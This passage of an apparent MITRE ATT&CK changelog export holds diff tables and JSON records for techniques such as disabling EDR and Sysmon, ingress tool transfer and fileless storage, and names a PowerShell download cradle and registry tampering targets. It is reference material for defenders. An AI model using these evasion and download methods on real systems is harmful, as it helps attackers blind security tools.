| t | 1 | Adversaries may modify and/or disable security tools to avoi | t | 1 | Adversaries may modify and/or disable security tools to avoi |
| > | d possible detection of their malware/tools and activities. | > | d possible detection of their malware/tools and activities. | ||
| > | This may take many forms, such as killing security software | > | This may take many forms, such as killing security software | ||
| > | processes or services, modifying / deleting Registry keys or | > | processes or services, modifying / deleting Registry keys or | ||
| > | configuration files so that tools do not operate properly, | > | configuration files so that tools do not operate properly, | ||
| > | or other methods to interfere with security tools scanning o | > | or other methods to interfere with security tools scanning o | ||
| > | r reporting information. Adversaries may also disable update | > | r reporting information. Adversaries may also disable update | ||
| > | s to prevent the latest security patches from reaching tools | > | s to prevent the latest security patches from reaching tools | ||
| > | on victim systems.(Citation: SCADAfence_ransomware) Advers | > | on victim systems.(Citation: SCADAfence_ransomware) Advers | ||
| > | aries may also tamper with artifacts deployed and utilized b | > | aries may trigger a denial-of-service attack via legitimate | ||
| > | y security tools. Security tools may make dynamic changes to | > | system processes. It has been previously observed that the W | ||
| > | system components in order to maintain visibility into spec | > | indows Time Travel Debugging (TTD) monitor driver can be use | ||
| > | ific events. For example, security products may load their o | > | d to initiate a debugging session for a security tool (e.g., | ||
| > | wn modules and/or modify those loaded by processes to facili | > | an EDR) and render the tool non-functional. By hooking the | ||
| > | tate data collection. Similar to [Indicator Blocking](https: | > | debugger into the EDR process, all child processes from the | ||
| > | //attack.mitre.org/techniques/T1562/006), adversaries may un | > | EDR will be automatically suspended. The attacker can termi | ||
| > | hook or otherwise modify these features added by tools (espe | > | nate any EDR helper processes (unprotected by Windows Protec | ||
| > | cially those that exist in userland or are otherwise potenti | > | ted Process Light) by abusing the Process Explorer driver. I | ||
| > | ally accessible to adversaries) to avoid detection.(Citation | > | n combination this will halt any attempt to restart services | ||
| > | : OutFlank System Calls)(Citation: MDSec System Calls) Alter | > | and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboo | ||
| > | natively, they may add new directories to an endpoint detect | > | t) Adversaries may also tamper with artifacts deployed and | ||
| > | ion and response (EDR) tool\u2019s exclusion list, enabling them | > | utilized by security tools. Security tools may make dynamic | ||
| > | to hide malicious files via [File/Path Exclusions](https://a | > | changes to system components in order to maintain visibility | ||
| > | ttack.mitre.org/techniques/T1564/012).(Citation: BlackBerry | > | into specific events. For example, security products may lo | ||
| > | WhisperGate 2022)(Citation: Google Cloud Threat Intelligence | > | ad their own modules and/or modify those loaded by processes | ||
| > | FIN13 2021) Adversaries may also focus on specific applica | > | to facilitate data collection. Similar to [Indicator Blocki | ||
| > | tions such as Sysmon. For example, the \u201cStart\u201d and \u201cEnable\u201d | > | ng](https://attack.mitre.org/techniques/T1562/006), adversar | ||
| > | values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\ | > | ies may unhook or otherwise modify these features added by t | ||
| > | Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Ope | > | ools (especially those that exist in userland or are otherwi | ||
| > | rational</code> may be modified to tamper with and potential | > | se potentially accessible to adversaries) to avoid detection | ||
| > | ly disable Sysmon logging.(Citation: disable_win_evt_logging | > | .(Citation: OutFlank System Calls)(Citation: MDSec System Ca | ||
| > | ) On network devices, adversaries may attempt to skip digi | > | lls) For example, adversaries may abuse the Windows process | ||
| > | tal signature verification checks by altering startup config | > | mitigation policy to block certain endpoint detection and re | ||
| > | uration files and effectively disabling firmware verificatio | > | sponse (EDR) products from loading their user-mode code via | ||
| > | n that typically occurs at boot.(Citation: Fortinet Zero-Day | > | DLLs. By spawning a process with the PROCESS_CREATION_MITIGA | ||
| > | and Custom Malware Used by Suspected Chinese Actor in Espio | > | TION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute | ||
| > | nage Operation)(Citation: Analysis of FG-IR-22-369) In clou | > | using API calls like UpdateProcThreadAttribute, adversaries | ||
| > | d environments, tools disabled by adversaries may include cl | > | may evade detection by endpoint security solutions that rel | ||
| > | oud monitoring agents that report back to services such as A | > | y on DLLs that are not signed by Microsoft. Alternatively, t | ||
| > | WS CloudWatch or Google Cloud Monitor. Furthermore, althoug | > | hey may add new directories to an EDR tool\u2019s exclusion list, | ||
| > | h defensive tools may have anti-tampering mechanisms, advers | > | enabling them to hide malicious files via [File/Path Exclus | ||
| > | aries may abuse tools such as legitimate rootkit removal kit | > | ions](https://attack.mitre.org/techniques/T1564/012).(Citati | ||
| > | s to impair and/or disable these tools.(Citation: chasing_av | > | on: BlackBerry WhisperGate 2022)(Citation: Google Cloud Thre | ||
| > | addon_ransomware)(Citation: dharma_ransomware)(Citation: dem | > | at Intelligence FIN13 2021) Adversaries may also focus on s | ||
| > | ystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For exam | > | pecific applications such as Sysmon. For example, the \u201cStart | ||
| > | ple, adversaries have used tools such as GMER to find and sh | > | \u201d and \u201cEnable\u201d values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\Cur | ||
| > | ut down hidden processes and antivirus software on infected | > | rentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Win | ||
| > | systems.(Citation: demystifying_ryuk) Additionally, adversa | > | dows-Sysmon-Operational</code> may be modified to tamper wit | ||
| > | ries may exploit legitimate drivers from anti-virus software | > | h and potentially disable Sysmon logging.(Citation: disable_ | ||
| > | to gain access to kernel space (i.e. [Exploitation for Priv | > | win_evt_logging) On network devices, adversaries may attem | ||
| > | ilege Escalation](https://attack.mitre.org/techniques/T1068) | > | pt to skip digital signature verification checks by altering | ||
| > | ), which may lead to bypassing anti-tampering features.(Cita | > | startup configuration files and effectively disabling firmw | ||
| > | tion: avoslocker_ransomware) | > | are verification that typically occurs at boot.(Citation: Fo | ||
| > | rtinet Zero-Day and Custom Malware Used by Suspected Chinese | ||||
| > | Actor in Espionage Operation)(Citation: Analysis of FG-IR-2 | ||||
| > | 2-369) In cloud environments, tools disabled by adversaries | ||||
| > | may include cloud monitoring agents that report back to ser | ||||
| > | vices such as AWS CloudWatch or Google Cloud Monitor. Furth | ||||
| > | ermore, although defensive tools may have anti-tampering mec | ||||
| > | hanisms, adversaries may abuse tools such as legitimate root | ||||
| > | kit removal kits to impair and/or disable these tools.(Citat | ||||
| > | ion: chasing_avaddon_ransomware)(Citation: dharma_ransomware | ||||
| > | )(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowds | ||||
| > | trike) For example, adversaries have used tools such as GMER | ||||
| > | to find and shut down hidden processes and antivirus softwa | ||||
| > | re on infected systems.(Citation: demystifying_ryuk) Additi | ||||
| > | onally, adversaries may exploit legitimate drivers from anti | ||||
| > | -virus software to gain access to kernel space (i.e. [Exploi | ||||
| > | tation for Privilege Escalation](https://attack.mitre.org/te | ||||
| > | chniques/T1068)), which may lead to bypassing anti-tampering | ||||
| > | features.(Citation: avoslocker_ransomware) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Once a payload is delivered, adversaries may reproduce copie | t | 1 | Once a payload is delivered, adversaries may reproduce copie |
| > | s of the same malware on the victim system to remove evidenc | > | s of the same malware on the victim system to remove evidenc | ||
| > | e of their presence and/or avoid defenses. Copying malware p | > | e of their presence and/or avoid defenses. Copying malware p | ||
| > | ayloads to new locations may also be combined with [File Del | > | ayloads to new locations may also be combined with [File Del | ||
| > | etion](https://attack.mitre.org/techniques/T1070/004) to cle | > | etion](https://attack.mitre.org/techniques/T1070/004) to cle | ||
| > | anup older artifacts. Relocating malware may be a part of m | > | anup older artifacts. Relocating malware may be a part of m | ||
| > | any actions intended to evade defenses. For example, adversa | > | any actions intended to evade defenses. For example, adversa | ||
| > | ries may copy and rename payloads to better blend into the l | > | ries may copy and rename payloads to better blend into the l | ||
| > | ocal environment (i.e., [Match Legitimate Resource Name or L | > | ocal environment (i.e., [Match Legitimate Resource Name or L | ||
| > | ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci | > | ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci | ||
| > | tation: DFIR Report Trickbot June 2023) Payloads may also be | > | tation: DFIR Report Trickbot June 2023) Payloads may also be | ||
| > | repositioned to target [File/Path Exclusions](https://attac | > | repositioned to target [File/Path Exclusions](https://attac | ||
| > | k.mitre.org/techniques/T1564/012) as well as specific locati | > | k.mitre.org/techniques/T1564/012) as well as specific locati | ||
| > | ons associated with establishing [Persistence](https://attac | > | ons associated with establishing [Persistence](https://attac | ||
| > | k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) | > | k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) | ||
| > | Relocating malicious payloads may also hinder defensive an | > | Relocating malicious payloads may also hinder defensive an | ||
| > | alysis, especially to separate these payloads from earlier e | > | alysis, especially to separate these payloads from earlier e | ||
| > | vents (such as [User Execution](https://attack.mitre.org/tec | > | vents (such as [User Execution](https://attack.mitre.org/tec | ||
| > | hniques/T1204) and [Phishing](https://attack.mitre.org/techn | > | hniques/T1204) and [Phishing](https://attack.mitre.org/techn | ||
| > | iques/T1566)) that may have generated alerts or otherwise dr | > | iques/T1566)) that may have generated alerts or otherwise dr | ||
| > | awn attention from defenders. | > | awn attention from defenders. Moving payloads into target di | ||
| > | rectories does not alter the Creation timestamp, thereby eva | ||||
| > | ding detection logic reliant on modifications to this artifa | ||||
| > | ct (i.e., [Timestomp](https://attack.mitre.org/techniques/T1 | ||||
| > | 070/006)). |
IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas) A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).(Citation: Google Cloud Threat Intelligence COSCMICENERGY 2023)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1105",
"external_id": "T1105"
},
{
"source_name": "T1105: Trellix_search-ms",
"description": " Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the \"search-ms\" URI Protocol Handler. Retrieved March 15, 2024.",
"url": "https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/"
},
{
"source_name": "Google Cloud Threat Intelligence COSCMICENERGY 2023",
"description": "COSMICENERGY: New OT Malware Possibly Related To Russian Emergency Response Exercises. (2023, May 25). Ken Proska, Daniel Kapellmann Zafra, Keith Lunden, Corey Hildebrandt, Rushikesh Nandedkar, Nathan Brubaker. Retrieved March 18, 2025.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/cosmicenergy-ot-malware-russian-response/"
},
{
"source_name": "Dropbox Malware Sync",
"description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.",
"url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "t1105_lolbas",
"description": "LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.",
"url": "https://lolbas-project.github.io/#t1105"
},
{
"source_name": "PTSecurity Cobalt Dec 2016",
"description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Alain Homewood",
"Jeremy Hedges",
"Joe Wise",
"John Page (aka hyp3rlinx), ApparitionSec",
"Mark Wee",
"Peter Oakes",
"Selena Larson, @selenalarson",
"Shailesh Tiwary (Indian Army)",
"The DFIR Report",
"Don Le, Stifel Financial"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "2.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.714000+00:00\", \"old_value\": \"2025-04-15 19:59:17.217000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.6\", \"old_value\": \"2.5\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][9]\": \"Don Le, Stifel Financial\"}}",
"previous_version": "2.5",
"version_change": "2.5 \u2192 2.6",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [
"M1037: Filter Network Traffic"
],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0060: Detect Ingress Tool Transfers via Behavioral Chain"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-19 16:48:08.241000+00:00",
"modified": "2025-10-24 17:48:46.071000+00:00",
"name": "Network Address Translation Traversal",
"description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1599/001",
"external_id": "T1599.001"
},
{
"source_name": "RFC1918",
"description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.",
"url": "https://tools.ietf.org/html/rfc1918"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.071000+00:00\", \"old_value\": \"2025-04-25 14:46:38.101000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may bridge network boundaries by modifying a network device\\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\\n\\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\\n\\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n\\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.\", \"old_value\": \"Adversaries may bridge network boundaries by modifying a network device\\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\\n\\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\\n\\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n\\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\\n \\n-When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n+When an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n \\n-Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities\\n+Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\\n\\nMonitor the border network device\\u2019s configuration to determine if any unintended NAT rules have been added without authorization.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\\n-\\n-Monitor the border network device\\u2019s configuration to determine if any unintended NAT rules have been added without authorization.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}",
"previous_version": "1.1",
"version_change": "1.1 \u2192 1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bridge network boundaries by modifying a net | t | 1 | Adversaries may bridge network boundaries by modifying a net |
| > | work device\u2019s Network Address Translation (NAT) configuratio | > | work device\u2019s Network Address Translation (NAT) configuratio | ||
| > | n. Malicious modifications to NAT may enable an adversary to | > | n. Malicious modifications to NAT may enable an adversary to | ||
| > | bypass restrictions on traffic routing that otherwise separ | > | bypass restrictions on traffic routing that otherwise separ | ||
| > | ate trusted and untrusted networks. Network devices such as | > | ate trusted and untrusted networks. Network devices such as | ||
| > | routers and firewalls that connect multiple networks togeth | > | routers and firewalls that connect multiple networks togeth | ||
| > | er may implement NAT during the process of passing packets b | > | er may implement NAT during the process of passing packets b | ||
| > | etween networks. When performing NAT, the network device wil | > | etween networks. When performing NAT, the network device wil | ||
| > | l rewrite the source and/or destination addresses of the IP | > | l rewrite the source and/or destination addresses of the IP | ||
| > | address header. Some network designs require NAT for the pac | > | address header. Some network designs require NAT for the pac | ||
| > | kets to cross the border device. A typical example of this | > | kets to cross the border device. A typical example of this | ||
| > | is environments where internal networks make use of non-Inte | > | is environments where internal networks make use of non-Inte | ||
| > | rnet routable addresses.(Citation: RFC1918) When an adversa | > | rnet routable addresses.(Citation: RFC1918) When an adversa | ||
| > | ry gains control of a network boundary device, they can eith | > | ry gains control of a network boundary device, they may modi | ||
| > | er leverage existing NAT configurations to send traffic betw | > | fy NAT configurations to send traffic between two separated | ||
| > | een two separated networks, or they can implement NAT config | > | networks, or to obscure their activities. In network design | ||
| > | urations of their own design. In the case of network design | > | s that require NAT to function, such modifications enable th | ||
| > | s that require NAT to function, this enables the adversary t | > | e adversary to overcome inherent routing limitations that wo | ||
| > | o overcome inherent routing limitations that would normally | > | uld normally prevent them from accessing protected systems b | ||
| > | prevent them from accessing protected systems behind the bor | > | ehind the border device. In network designs that do not req | ||
| > | der device. In the case of network designs that do not requ | > | uire NAT, adversaries may use address translation to further | ||
| > | ire NAT, address translation can be used by adversaries to o | > | obscure their activities, as changing the addresses of pack | ||
| > | bscure their activities, as changing the addresses of packet | > | ets that traverse a network boundary device can make monitor | ||
| > | s that traverse a network boundary device can make monitorin | > | ing data transmissions more challenging for defenders. Ad | ||
| > | g data transmissions more challenging for defenders. Adve | > | versaries may use [Patch System Image](https://attack.mitre. | ||
| > | rsaries may use [Patch System Image](https://attack.mitre.or | > | org/techniques/T1601/001) to change the operating system of | ||
| > | g/techniques/T1601/001) to change the operating system of a | > | a network device, implementing their own custom NAT mechanis | ||
| > | network device, implementing their own custom NAT mechanisms | > | ms to further obscure their activities. | ||
| > | to further obscure their activities |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may store data in \"fileless\" formats to conceal | t | 1 | Adversaries may store data in \"fileless\" formats to conceal |
| > | malicious activity from defenses. Fileless storage can be br | > | malicious activity from defenses. Fileless storage can be br | ||
| > | oadly defined as any format other than a file. Common exampl | > | oadly defined as any format other than a file. Common exampl | ||
| > | es of non-volatile fileless storage in Windows systems inclu | > | es of non-volatile fileless storage in Windows systems inclu | ||
| > | de the Windows Registry, event logs, or WMI repository.(Cita | > | de the Windows Registry, event logs, or WMI repository.(Cita | ||
| > | tion: Microsoft Fileless)(Citation: SecureList Fileless) In | > | tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha | ||
| > | Linux systems, shared memory directories such as `/dev/shm`, | > | red memory directories on Linux systems (`/dev/shm`, `/run/s | ||
| > | `/run/shm`, `/var/run`, and `/var/lock` may also be conside | > | hm`, `/var/run`, and `/var/lock`) and volatile directories o | ||
| > | red fileless storage, as files written to these directories | > | n Network Devices (`/tmp` and `/volatile`) may also be consi | ||
| > | are mapped directly to RAM and not stored on the disk.(Citat | > | dered fileless storage, as files written to these directorie | ||
| > | ion: Elastic Binary Executed from Shared Memory Directory)(C | > | s are mapped directly to RAM and not stored on the disk.(Cit | ||
| > | itation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Ma | > | ation: Elastic Binary Executed from Shared Memory Directory) | ||
| > | lware 2024) Similar to fileless in-memory behaviors such as | > | (Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik | ||
| > | [Reflective Code Loading](https://attack.mitre.org/techniqu | > | Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC | ||
| > | es/T1620) and [Process Injection](https://attack.mitre.org/t | > | O Nexus 900 Config). Similar to fileless in-memory behavior | ||
| > | echniques/T1055), fileless data storage may remain undetecte | > | s such as [Reflective Code Loading](https://attack.mitre.org | ||
| > | d by anti-virus and other endpoint security tools that can o | > | /techniques/T1620) and [Process Injection](https://attack.mi | ||
| > | nly access specific file formats from disk storage. Leveragi | > | tre.org/techniques/T1055), fileless data storage may remain | ||
| > | ng fileless storage may also allow adversaries to bypass the | > | undetected by anti-virus and other endpoint security tools t | ||
| > | protections offered by read-only file systems in Linux.(Cit | > | hat can only access specific file formats from disk storage. | ||
| > | ation: Sysdig Fileless Malware 23022) Adversaries may use f | > | Leveraging fileless storage may also allow adversaries to b | ||
| > | ileless storage to conceal various types of stored data, inc | > | ypass the protections offered by read-only file systems in L | ||
| > | luding payloads/shellcode (potentially being used as part of | > | inux.(Citation: Sysdig Fileless Malware 23022) Adversaries | ||
| > | [Persistence](https://attack.mitre.org/tactics/TA0003)) and | > | may use fileless storage to conceal various types of stored | ||
| > | collected data not yet exfiltrated from the victim (e.g., [ | > | data, including payloads/shellcode (potentially being used a | ||
| > | Local Data Staging](https://attack.mitre.org/techniques/T107 | > | s part of [Persistence](https://attack.mitre.org/tactics/TA0 | ||
| > | 4/001)). Adversaries also often encrypt, encode, splice, or | > | 003)) and collected data not yet exfiltrated from the victim | ||
| > | otherwise obfuscate this fileless data when stored. Some fo | > | (e.g., [Local Data Staging](https://attack.mitre.org/techni | ||
| > | rms of fileless storage activity may indirectly create artif | > | ques/T1074/001)). Adversaries also often encrypt, encode, sp | ||
| > | acts in the file system, but in central and otherwise diffic | > | lice, or otherwise obfuscate this fileless data when stored. | ||
| > | ult to inspect formats such as the WMI (e.g., `%SystemRoot%\\ | > | Some forms of fileless storage activity may indirectly cr | ||
| > | System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\ | > | eate artifacts in the file system, but in central and otherw | ||
| > | System32\\Config`) physical files.(Citation: Microsoft Filele | > | ise difficult to inspect formats such as the WMI (e.g., `%Sy | ||
| > | ss) | > | stemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%Sy | ||
